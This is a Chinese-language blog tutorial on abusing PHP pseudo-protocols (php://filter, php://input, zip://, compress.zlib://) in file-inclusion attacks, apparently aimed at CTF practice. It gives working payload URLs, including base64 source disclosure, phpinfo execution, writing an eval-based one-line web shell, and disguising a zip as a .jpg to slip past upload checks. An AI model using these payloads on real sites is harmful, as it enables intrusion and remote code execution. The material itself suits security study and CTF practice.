PHP伪协议

·什么是PHP伪协议?

​ 是PHP支持的封装协议,共有一下12种:

·CTF中也常用到PHP伪协议和文件包含漏洞这两种姿势相结合

php://filter

​ php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。在allow_url_fopen(打开URL文件),allow_url_include(引用URL文件)都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。

​ 在使用include()函数时,经常会造成任意文件读取的漏洞,我们就可以利用php://filter这样的元封装器对数据进行读取。

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input

​ 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data"(将文件以二进制形式上传) 的时候php://input是无效的。

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

​ 若有写入权限,写入一句话木马

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip://,bzip2://,zlib://

zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 作为替代。

compress.zlib://*、 *compress.bzip2://gzopen()bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。

可选项

  • zlib://file.gz
  • bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

——php.net

简单说就是直接访问压缩包里的文件。

1. zip://

将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。

http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=zip://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest\phpinfo.jpg%23phpinfo.txt

注意要用绝对路径+url编码#

2. zlib://

http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz

改后缀为jpg亦可,相对路径亦可。

3. bzip2://

同理于zlib://

Author: De-m0n
Link: http://De-m0n.github.io/2019/08/19/PHP Pseudo protocol/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶